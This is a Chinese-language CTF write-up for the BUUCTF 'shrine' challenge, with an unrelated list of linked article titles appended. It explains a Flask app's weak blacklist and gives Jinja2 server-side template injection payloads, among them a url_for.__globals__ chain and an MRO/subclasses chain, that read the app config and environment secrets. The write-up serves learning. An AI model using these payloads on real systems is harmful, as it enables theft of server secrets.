当前位置: 首页 > news >正文

BUUCTF——shrine

BUUCTF——shrine

进入靶场

在这里插入图片描述

只有一串代码

import flask 
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') #程序从环境变量 FLAG 读取一个敏感值,并存储在 app.config['FLAG'] 中。
#安全问题:如果攻击者能访问 app.config,就能直接获取 FLAG。
@app.route('/') def index(): return open(__file__).read() #访问 / 会返回当前脚本的源代码(包括 FLAG 的存储方式)。
#安全问题:虽然这里没有直接泄露 FLAG,但暴露了整个后端逻辑,帮助攻击者分析可能的漏洞。
@app.route('/shrine/') 
def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': app.run(debug=True)

给了个shrine路径

功能分析

  1. **输入控制**:
    • 用户提供的 shrine 参数会直接传入 render_template_string(渲染 Jinja2 模板)。
    • safe_jinja 尝试过滤危险字符:
      • 删除 ( 和 )(防止调用函数)。
      • 使用黑名单 ['config', 'self'],并通过 {% set config=None %} 和 {% set self=None %} 尝试覆盖这些变量。
  2. **目标**:
    • 阻止攻击者访问 config 或 self(否则可以直接读取 FLAG)。

看样子应该是sstl漏洞

构造payload测试一下

/shrine/{{7*7}}

成功执行

在这里插入图片描述

根据这段代码构造payload

漏洞分析

  1. **/shrine/ 路由接受用户输入并直接渲染**
    • flask.render_template_string(safe_jinja(shrine)) 会渲染用户提供的模板字符串。
    • safe_jinja 尝试过滤 ( 和 ),并禁止 config 和 self,但过滤不充分。
  2. **目标**
    • 读取 app.config['FLAG'],但 config 被设为 None,需要绕过限制。
  3. **绕过思路**
    • 使用 **属性链(attribute chaining)** 访问 config,例如:
      • {{ request.__class__.__mro__[X].__subclasses__()[Y].__init__.__globals__['os'].environ['FLAG'] }}
      • 或者直接访问 app 对象:
        • {{ url_for.__globals__['current_app'].config.FLAG }}(url_for 是 Flask 全局函数)
/shrine/{{ url_for.__globals__['current_app'].config.FLAG }}

在这里插入图片描述

拿到flag

flag{5b156383-e35a-4e21-ae62-60905f32fe31}

下播!!!!

在这里插入图片描述

http://www.xdnf.cn/news/471511.html

相关文章:

  • 牛客网 NC22167: 多组数据a+b
  • 差分振荡器:支持0.15ps超低抖动的高速时钟核心
  • 腾讯AI军备极速扩张
  • LCD电视LED背光全解析:直下式 vs 侧光式、全局调光 vs 局部调光与HDR体验
  • (6)python开发经验
  • hbit资产收集工具Docker(笔记版)
  • 电商热销榜的5种实现方案
  • [python] Python元组、字典与集合的全面解析
  • Linux常用命令41——passwd修改用户的密码值
  • OpenCV光流估计:原理、实现与应用
  • 深度解析物理机服务器故障修复时间:影响因素与优化策略
  • Linux常用的性能分析工具
  • 加密原理3-代码
  • 可视化图解算法40:二分查找-I
  • HGDB企业版迁移到HGDB安全版
  • fakeroot 在没有超级用户权限的情况下模拟文件系统的超级用户行为
  • 疲劳分析后处理参数意义?
  • LeetCode 2900.最长相邻不相等子序列 I:阅读理解题——O(n)一次遍历(贪心)
  • Makefile 详解
  • Vscode 配置python调试环境
  • QT——概述
  • 6.重建大师空三介绍
  • AI大模型:(二)2.5 人类对齐训练自己的模型
  • 低损耗高效能100G O Band DWDM 10km光模块 | 支持密集波分复用
  • 致远OA周报日报管理应用包【附百度网盘下载链接,官方售价8K】
  • Qt中控件的Viewport作用
  • 上线前测试组发现问题较多。开发总结
  • 《Python星球日记》 第80天:目标检测(YOLO、Mask R-CNN)
  • WordPress_Relevanssi Sql注入漏洞复现(CVE-2025-4396)
  • 用 Python 实现系统监控与资源管理:深入解析 `psutil` 库